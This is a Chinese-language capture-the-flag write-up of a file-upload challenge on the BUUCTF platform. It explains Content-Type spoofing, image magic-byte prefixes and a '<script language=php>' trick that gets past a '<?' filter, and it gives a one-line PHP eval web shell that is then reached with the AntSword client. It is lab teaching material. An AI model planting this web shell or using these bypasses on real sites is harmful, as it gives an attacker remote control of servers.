[buuctf] 极客大挑战 2019 Upload 文件上传漏洞

极客大挑战 2019 Upload

又到了上班摸鱼的时间,在这个时间做做题也是挺好的,嘻嘻:-)

buuctf老平台了,现在众多的ctf平台都是buuctf的基础框架做的修改使用的

今儿个咱就来做做这道题


这道题的漏洞是文件上传漏洞,这个漏洞呢也是常见漏洞,经常出现在后台还有一些上传的地方

原理是,因为没有对用户上传的文件进行严格的过滤或者过滤不完全造成的,恶意用户会上传一些Shellcode对站点进行攻击,从而可以getshell来控制整个站点


介绍完了漏洞,现在开始做题

image.png

上来就让咱上传文件,先随便传传

image.png

传个txt文件看看回显什么

image.png

image.png

返回报文里出现了PHP/5.5.9-1ubuntu4.29not image!的字样,那看来服务器用的是php做的解析还过滤掉了txt后缀的文件

因为是直接抓包发送的,所以并不是前端进行的验证,说明是后端进行的验证

在上文说过,这个漏洞发生就是因为对用户上传的文件没有进行过滤或者过滤不完全造成的

现在可以进行fuzz测试来看看过滤了哪些东西

ps:以下字典的内容均可以直接当作php文件解析,前提是需要开启

image.png

进行fuzz测试

但也还是都是说not image!

image.png

那么现在又遇到两个知识点,怎么让服务端认为我上传的文件是图片呢

一、服务端会拿报文的Content-Tyepe的值进行检查,所以要把值改成image/jpeg、image/png或者image/gif

二、服务端也会检查文件内容的开头是否是图片的特征码,在图片上传的时候png和jpg还有gif的文件开头的16进制都是固定的,所以被叫做特征码

png是89504E47,jpg是FFD8FF,gif是GIF89a(gif直接用字符效果也是一样的)

添加了这些在文件里再试一下

image.png

有这些上传成功

那我们开始往里面添加内容

image.png

shit这里过滤了<?直接把php的标记给过滤掉了,唉

但是捏,还有一个知识点,可以用<script> 进行php标记

payload:

<script language=''php">eval($_POST["cmd"])</script>

这一句的意思是,告诉前端的js把这一段代码当作php去执行

image.png

上传成功,这里没说返回上传地址,盲猜一下应该会有upload的目录(没有就爆破一下)

image.png

只看到了gif89a说明已经开始执行了

接下来用蚁剑连接就行了

image.png

在根目录下找到flag

image.png

get~